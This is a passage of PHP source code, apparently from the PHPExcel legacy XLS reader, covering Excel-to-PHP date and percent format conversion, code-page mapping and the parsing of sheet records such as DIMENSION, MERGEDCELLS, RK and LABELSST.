$this->_numberFormats[$indexCode],\n\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($indexCode > 0 && isset($this->_formatRecords[$indexCode])) {\n\t\t\t\t\t\t\t// custom formats...\n\t\t\t\t\t\t\t$formatstr = $this->_formatRecords[$indexCode];\n\t\t\t\t\t\t\tif ($formatstr) {\n\t\t\t\t\t\t\t\t// dvc: reg exp changed to custom date/time format chars\n\t\t\t\t\t\t\t\tif (preg_match(\"/^[hmsdy]/i\", $formatstr)) {\n\t\t\t\t\t\t\t\t\t// custom datetime format\n\t\t\t\t\t\t\t\t\t// dvc: convert Excel formats to PHP date formats\n\t\t\t\t\t\t\t\t\t// first remove escapes related to non-format characters\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('\\\\', '', $formatstr);\n\t\t\t\t\t\t\t\t\t// 4-digit year\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('yyyy', 'Y', $formatstr);\n\t\t\t\t\t\t\t\t\t// 2-digit year\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('yy', 'y', $formatstr);\n\t\t\t\t\t\t\t\t\t// first letter of month - no php equivalent\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('mmmmm', 'M', $formatstr);\n\t\t\t\t\t\t\t\t\t// full month name\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('mmmm', 'F', $formatstr);\n\t\t\t\t\t\t\t\t\t// short month name\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('mmm', 'M', $formatstr);\n\t\t\t\t\t\t\t\t\t// mm is minutes if time or month w/leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace(':mm', ':i', $formatstr);\n\t\t\t\t\t\t\t\t\t// tmp place holder\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('mm', 'x', $formatstr);\n\t\t\t\t\t\t\t\t\t// month no leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('m', 'n', $formatstr);\n\t\t\t\t\t\t\t\t\t// month leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('x', 'm', $formatstr);\n\t\t\t\t\t\t\t\t\t// 12-hour suffix\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('AM/PM', 'A', $formatstr);\n\t\t\t\t\t\t\t\t\t// tmp place holder\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('dd', 'x', $formatstr);\n\t\t\t\t\t\t\t\t\t// days no leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('d', 'j', $formatstr);\n\t\t\t\t\t\t\t\t\t// days leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('x', 'd', $formatstr);\n\t\t\t\t\t\t\t\t\t// seconds\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('ss', 's', $formatstr);\n\t\t\t\t\t\t\t\t\t// fractional seconds - no php equivalent\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('.S', '', $formatstr);\n\t\t\t\t\t\t\t\t\tif (! strpos($formatstr,'A')) { // 24-hour format\n\t\t\t\t\t\t\t\t\t\t$formatstr = str_replace('h', 'H', $formatstr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t// user defined flag symbol????\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace(';@', '', $formatstr);\n\t\t\t\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t\t\t\t'type' => 'date',\n\t\t\t\t\t\t\t\t\t\t'format' => $formatstr,\n\t\t\t\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// dvc: new code for custom percent formats\n\t\t\t\t\t\t\t\telse if (preg_match('/%$/', $formatstr)) { // % number format\n\t\t\t\t\t\t\t\t\tif (preg_match('/\\.[#0]+/i',$formatstr,$m)) {\n\t\t\t\t\t\t\t\t\t\t$s = substr($m[0],0,1).(strlen($m[0])-1);\n\t\t\t\t\t\t\t\t\t\t$formatstr = str_replace($m[0],$s,$formatstr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (preg_match('/^[#0]+/',$formatstr,$m)) {\n\t\t\t\t\t\t\t\t\t\t$formatstr = str_replace($m[0],strlen($m[0]),$formatstr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$formatstr = '%' . str_replace('%',\"f%%\",$formatstr);\n\t\t\t\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t\t\t\t'type' => 'percent',\n\t\t\t\t\t\t\t\t\t\t'format' => $formatstr,\n\t\t\t\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// dvc: code for other unknown formats\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\t// dvc: changed to add format to unknown for debug\n\t\t\t\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t\t\t\t'type' => 'other',\n\t\t\t\t\t\t\t\t\t\t'format' => $this->_defaultFormat,\n\t\t\t\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// dvc: changed to add format to unknown for debug\n\t\t\t\t\t\t\tif (isset($this->_formatRecords[$indexCode])) {\n\t\t\t\t\t\t\t\t$formatstr = $this->_formatRecords[$indexCode];\n\t\t\t\t\t\t\t\t$type = 'undefined';\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$formatstr = $this->_defaultFormat;\n\t\t\t\t\t\t\t\t$type = 'default';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t\t'type' => $type,\n\t\t\t\t\t\t\t\t'format' => $formatstr,\n\t\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// store styles in xf array\n\t\t\t\t\t$this->_xf[] = $this->_readBIFF8Style($recordData);\n\t\t\t\t\t\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_NINETEENFOUR:\n\t\t\t\t\t/**\n\t\t\t\t\t * DATEMODE\n\t\t\t\t\t *\n\t\t\t\t\t * This record specifies the base date for displaying date\n\t\t\t\t\t * values. All dates are stored as count of days past this\n\t\t\t\t\t * base date. In BIFF2-BIFF4 this record is part of the\n\t\t\t\t\t * Calculation Settings Block. In BIFF5-BIFF8 it is\n\t\t\t\t\t * stored in the Workbook Globals Substream.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t$this->_nineteenFour = (ord($this->_data[$pos + 4]) == 1);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\tif (ord($this->_data[$pos + 4]) == 1) {\n\t\t\t\t\t\tPHPExcel_Shared_Date::setExcelCalendar(PHPExcel_Shared_Date::CALENDAR_MAC_1904);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tPHPExcel_Shared_Date::setExcelCalendar(PHPExcel_Shared_Date::CALENDAR_WINDOWS_1900);\n\t\t\t\t\t}\n\t\t\t\t\t*/\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_BOUNDSHEET:\n\t\t\t\t\t/**\n\t\t\t\t\t * SHEET\n\t\t\t\t\t *\n\t\t\t\t\t * This record is located in the Workbook Globals\n\t\t\t\t\t * Substream and represents a sheet inside the workbook.\n\t\t\t\t\t * One SHEET record is written for each sheet. It stores the\n\t\t\t\t\t * sheet name and a stream offset to the BOF record of the\n\t\t\t\t\t * respective Sheet Substream within the Workbook Stream.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t$rec_offset = $this->_GetInt4d($this->_data, $pos + 4);\n\t\t\t\t\t$rec_typeFlag = ord($this->_data[$pos + 8]);\n\t\t\t\t\t$rec_visibilityFlag = ord($this->_data[$pos + 9]);\n\t\t\t\t\t$rec_length = ord($this->_data[$pos + 10]);\n\n\n\n\t\t\t\t\tif ($version == self::XLS_BIFF8) {\n\t\t\t\t\t\t$compressedUTF16 = ((ord($this->_data[$pos + 11]) & 0x01) == 0);\n\t\t\t\t\t\t$rec_length = ($compressedUTF16) ? $rec_length : $rec_length*2;\n\t\t\t\t\t\t$rec_name = $this->_encodeUTF16(substr($this->_data, $pos + 12, $rec_length), $compressedUTF16);\n\t\t\t\t\t} elseif ($version == self::XLS_BIFF7) {\n\t\t\t\t\t\t$rec_name\t\t= substr($this->_data, $pos + 11, $rec_length);\n\t\t\t\t\t}\n\t\t\t\t\t$this->_boundsheets[] = array(\n\t\t\t\t\t\t'name' => $rec_name,\n\t\t\t\t\t\t'offset' => $rec_offset\n\t\t\t\t\t);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_CODEPAGE:\n\t\t\t\t\t/**\n\t\t\t\t\t * CODEPAGE\n\t\t\t\t\t *\n\t\t\t\t\t * This record stores the text encoding used to write byte\n\t\t\t\t\t * strings, stored as MS Windows code page identifier.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t$codepage = $this->_GetInt2d($this->_data, $pos + 4);\n\t\t\t\t\tswitch($codepage) {\n\t\t\t\t\t\tcase 367: // ASCII\n\t\t\t\t\t\t\t$this->_codepage =\"ASCII\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 437: //OEM US\n\t\t\t\t\t\t\t$this->_codepage =\"CP437\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 720: //OEM Arabic\n\t\t\t\t\t\t\t// currently not supported by libiconv\n\t\t\t\t\t\t\t$this->_codepage = \"\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 737: //OEM Greek\n\t\t\t\t\t\t\t$this->_codepage =\"CP737\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 775: //OEM Baltic\n\t\t\t\t\t\t\t$this->_codepage =\"CP775\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 850: //OEM Latin I\n\t\t\t\t\t\t\t$this->_codepage =\"CP850\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 852: //OEM Latin II (Central European)\n\t\t\t\t\t\t\t$this->_codepage =\"CP852\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 855: //OEM Cyrillic\n\t\t\t\t\t\t\t$this->_codepage =\"CP855\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 857: //OEM Turkish\n\t\t\t\t\t\t\t$this->_codepage =\"CP857\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 858: //OEM Multilingual Latin I with Euro\n\t\t\t\t\t\t\t$this->_codepage =\"CP858\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 860: //OEM Portugese\n\t\t\t\t\t\t\t$this->_codepage =\"CP860\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 861: //OEM Icelandic\n\t\t\t\t\t\t\t$this->_codepage =\"CP861\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 862: //OEM Hebrew\n\t\t\t\t\t\t\t$this->_codepage =\"CP862\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 863: //OEM Canadian (French)\n\t\t\t\t\t\t\t$this->_codepage =\"CP863\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 864: //OEM Arabic\n\t\t\t\t\t\t\t$this->_codepage =\"CP864\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 865: //OEM Nordic\n\t\t\t\t\t\t\t$this->_codepage =\"CP865\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 866: //OEM Cyrillic (Russian)\n\t\t\t\t\t\t\t$this->_codepage =\"CP866\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 869: //OEM Greek (Modern)\n\t\t\t\t\t\t\t$this->_codepage =\"CP869\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 874: //ANSI Thai\n\t\t\t\t\t\t\t$this->_codepage =\"CP874\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 932: //ANSI Japanese Shift-JIS\n\t\t\t\t\t\t\t$this->_codepage =\"CP932\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 936: //ANSI Chinese Simplified GBK\n\t\t\t\t\t\t\t$this->_codepage =\"CP936\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 949: //ANSI Korean (Wansung)\n\t\t\t\t\t\t\t$this->_codepage =\"CP949\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 950: //ANSI Chinese Traditional BIG5\n\t\t\t\t\t\t\t$this->_codepage =\"CP950\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1200: //UTF-16 (BIFF8)\n\t\t\t\t\t\t\t$this->_codepage =\"UTF-16LE\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1250:// ANSI Latin II (Central European)\n\t\t\t\t\t\t\t$this->_codepage =\"CP1250\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1251: //ANSI Cyrillic\n\t\t\t\t\t\t\t$this->_codepage =\"CP1251\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1252: //ANSI Latin I (BIFF4-BIFF7)\n\t\t\t\t\t\t\t$this->_codepage =\"CP1252\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1253: //ANSI Greek\n\t\t\t\t\t\t\t$this->_codepage =\"CP1253\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1254: //ANSI Turkish\n\t\t\t\t\t\t\t$this->_codepage =\"CP1254\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1255: //ANSI Hebrew\n\t\t\t\t\t\t\t$this->_codepage =\"CP1255\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1256: //ANSI Arabic\n\t\t\t\t\t\t\t$this->_codepage =\"CP1256\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1257: //ANSI Baltic\n\t\t\t\t\t\t\t$this->_codepage =\"CP1257\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1258: //ANSI Vietnamese\n\t\t\t\t\t\t\t$this->_codepage =\"CP1258\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1361: //ANSI Korean (Johab)\n\t\t\t\t\t\t\t$this->_codepage =\"CP1361\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 10000: //Apple Roman\n\t\t\t\t\t\t\t// currently not supported by libiconv\n\t\t\t\t\t\t\t$this->_codepage = \"\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 32768: //Apple Roman\n\t\t\t\t\t\t\t// currently not supported by libiconv\n\t\t\t\t\t\t\t$this->_codepage = \"\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 32769: //ANSI Latin I (BIFF2-BIFF3)\n\t\t\t\t\t\t\t// currently not supported by libiconv\n\t\t\t\t\t\t\t$this->_codepage = \"\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t}\n\t\t\t$pos += $length + 4;\n\t\t\t$code = ord($this->_data[$pos]) | ord($this->_data[$pos + 1]) << 8;\n\t\t\t$length = ord($this->_data[$pos + 2]) | ord($this->_data[$pos + 3]) << 8;\n\t\t\t$recordData = substr($this->_data, $pos + 4, $length);\n\t\t}\n\t\t/**\n\t\t *\n\t\t * PARSE THE INDIVIDUAL SHEETS\n\t\t *\n\t\t **/\n\t\tforeach ($this->_boundsheets as $key => $val){\n\t\t\t// add sheet to PHPExcel object\n\t\t\t$sheet = $excel->createSheet();\n\t\t\t$sheet->setTitle((string) $val['name']);\n\t\t\t\n\t\t\t$this->_sn = $key;\n\t\t\t$spos = $val['offset'];\n\t\t\t$cont = true;\n\t\t\t// read BOF\n\t\t\t$code = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t$length = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t$version = ord($this->_data[$spos + 4]) | ord($this->_data[$spos + 5]) << 8;\n\t\t\t$substreamType = ord($this->_data[$spos + 6]) | ord($this->_data[$spos + 7]) << 8;\n\n\t\t\tif (($version != self::XLS_BIFF8) && ($version != self::XLS_BIFF7)) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif ($substreamType != self::XLS_Worksheet) {\n\t\t\t\treturn -2;\n\t\t\t}\n\n\t\t\t$spos += $length + 4;\n\t\t\twhile($cont) {\n\t\t\t\t$lowcode = ord($this->_data[$spos]);\n\t\t\t\tif ($lowcode == self::XLS_Type_EOF) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t$code = $lowcode | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t$length = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t$recordData = substr($this->_data, $spos + 4, $length);\n\t\t\t\t\n\t\t\t\t$spos += 4;\n\t\t\t\t$this->_sheets[$this->_sn]['maxrow'] = $this->_rowoffset - 1;\n\t\t\t\t$this->_sheets[$this->_sn]['maxcol'] = $this->_coloffset - 1;\n\t\t\t\tunset($this->_rectype);\n\t\t\t\tunset($this->_formula);\n\t\t\t\tunset($this->_formula_result);\n\t\t\t\t$this->_multiplier = 1; // need for format with %\n\n\t\t\t\tswitch ($code) {\n\t\t\t\t\tcase self::XLS_Type_DIMENSION:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * DIMENSION\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record contains the range address of the used area\n\t\t\t\t\t\t * in the current sheet.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!isset($this->_numRows)) {\n\t\t\t\t\t\t\tif (($length == 10) ||\t($version == self::XLS_BIFF7)){\n\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['numRows'] = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['numCols'] = ord($this->_data[$spos + 6]) | ord($this->_data[$spos + 7]) << 8;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['numRows'] = ord($this->_data[$spos + 4]) | ord($this->_data[$spos + 5]) << 8;\n\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['numCols'] = ord($this->_data[$spos + 10]) | ord($this->_data[$spos + 11]) << 8;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_MERGEDCELLS:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * MERGEDCELLS\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record contains the addresses of merged cell ranges\n\t\t\t\t\t\t * in the current sheet.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$cellRanges = $this->_GetInt2d($this->_data, $spos);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfor ($i = 0; $i < $cellRanges; $i++) {\n\t\t\t\t\t\t\t\t$fr = $this->_GetInt2d($this->_data, $spos + 8 * $i + 2); // first row\n\t\t\t\t\t\t\t\t$lr = $this->_GetInt2d($this->_data, $spos + 8 * $i + 4); // last row\n\t\t\t\t\t\t\t\t$fc = $this->_GetInt2d($this->_data, $spos + 8 * $i + 6); // first column\n\t\t\t\t\t\t\t\t$lc = $this->_GetInt2d($this->_data, $spos + 8 * $i + 8); // last column\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// this part no longer needed, instead apply cell merge on PHPExcel worksheet object\n\t\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t\tif ($lr - $fr > 0) {\n\t\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['cellsInfo'][$fr + 1][$fc + 1]['rowspan'] = $lr - $fr + 1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ($lc - $fc > 0) {\n\t\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['cellsInfo'][$fr + 1][$fc + 1]['colspan'] = $lc - $fc + 1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\t\t$sheet->mergeCellsByColumnAndRow($fc, $fr + 1, $lc, $lr + 1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_RK:\n\t\t\t\t\tcase self::XLS_Type_RK2:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * RK\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell that contains an RK value\n\t\t\t\t\t\t * (encoded integer or floating-point value). If a\n\t\t\t\t\t\t * floating-point value cannot be encoded to an RK value,\n\t\t\t\t\t\t * a NUMBER record will be written. This record replaces the\n\t\t\t\t\t\t * record INTEGER written in BIFF2.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t$rknum = $this->_GetInt4d($this->_data, $spos + 6);\n\t\t\t\t\t\t$numValue = $this->_GetIEEE754($rknum);\n\n\t\t\t\t\t\t/*\n\t\t\t\t\t\tif ($this->_isDate($spos)) {\n\t\t\t\t\t\t\tlist($string, $raw) = $this->_createDate($numValue);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$raw = $numValue;\n\t\t\t\t\t\t\tif (isset($this->_columnsFormat[$column + 1])){\n\t\t\t\t\t\t\t\t$this->_curformat = $this->_columnsFormat[$column + 1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$string = sprintf($this->_curformat,$numValue*$this->_multiplier);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t\n\t\t\t\t\t\t// offset 4; size: 2; index to XF record\n\t\t\t\t\t\t$xfindex = $this->_getInt2d($recordData, 4);\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif (PHPExcel_Shared_Date::isDateTimeFormatCode($this->_xf[$xfindex]['numberformat']['code'])) {\n\t\t\t\t\t\t\t\t$numValue = (int) PHPExcel_Shared_Date::ExcelToPHP($numValue);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this->_addcell($row, $column, $string, $raw);\n\t\t\t\t\t\t//$sheet->setCellValueByColumnAndRow($column, $row + 1, $string);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, $numValue);\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_LABELSST:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * LABELSST\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell that contains a string. It\n\t\t\t\t\t\t * replaces the LABEL record and RSTRING record used in\n\t\t\t\t\t\t * BIFF2-BIFF5.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t$xfindex = ord($this->_data[$spos + 4]) | ord($this->_data[$spos + 5]) << 8;\n\t\t\t\t\t\t$index = $this->_GetInt4d($this->_data, $spos + 6);\n\t\t\t\t\t\t//$this->_addcell($row, $column, $this->_sst[$index]);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ($fmtRuns = $this->_sst[$index]['fmtRuns']) {\n\t\t\t\t\t\t\t// then we have rich text\n\t\t\t\t\t\t\t$richText = new PHPExcel_RichText($sheet->getCellByColumnAndRow($column, $row + 1));\n\t\t\t\t\t\t\t$charPos = 0;\n\t\t\t\t\t\t\tfor ($i = 0; $i <= count($this->_sst[$index]['fmtRuns']); $i++) {\n\t\t\t\t\t\t\t\tif (isset($fmtRuns[$i])) {\n\t\t\t\t\t\t\t\t\t$text = mb_substr($this->_sst[$index]['value'], $charPos, $fmtRuns[$i]['charPos'] - $charPos, 'UTF-8');\n\t\t\t\t\t\t\t\t\t$charPos = $fmtRuns[$i]['charPos'];\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t$text = mb_substr($this->_sst[$index]['value'], $charPos, mb_strlen($this->_sst[$index]['value']), 'UTF-8');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif (mb_strlen($text) > 0) {\n\t\t\t\t\t\t\t\t\t$textRun = $richText->createTextRun($text);\n\t\t\t\t\t\t\t\t\tif (isset($fmtRuns[$i - 1])) {\n\t\t\t\t\t\t\t\t\t\tif ($fmtRuns[$i - 1]['fontIndex'] < 4) {\n\t\t\t\t\t\t\t\t\t\t\t$fontIndex = $fmtRuns[$i - 1]['fontIndex'];\n\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\t// this has to do with that index 4 is omitted in all BIFF versions for some strange reason\n\t\t\t\t\t\t\t\t\t\t\t// check the OpenOffice documentation of the FONT record\n\t\t\t\t\t\t\t\t\t\t\t$fontIndex = $fmtRuns[$i - 1]['fontIndex'] - 1;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$textRun->getFont()->applyFromArray($this->_font[$fontIndex]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, $this->_sst[$index]['value']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_MULRK:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * MULRK - Multiple RK\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell range containing RK value\n\t\t\t\t\t\t * cells. All cells are located in the same row.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$colFirst = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t$colLast = ord($this->_data[$spos + $length - 2]) | ord($this->_data[$spos + $length - 1]) << 8;\n\t\t\t\t\t\t$columns = $colLast - $colFirst + 1;\n\t\t\t\t\t\t$tmppos = $spos + 4;\n\n\t\t\t\t\t\tfor ($i = 0; $i < $columns; $i++) {\n\t\t\t\t\t\t\t// offset: 0; size: 2; index to XF record\n\t\t\t\t\t\t\t$xfindex = $this->_getInt2d($recordData, 4 + 6 * $i);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// offset: 2; size: 4; RK value\n\t\t\t\t\t\t\t$numValue = 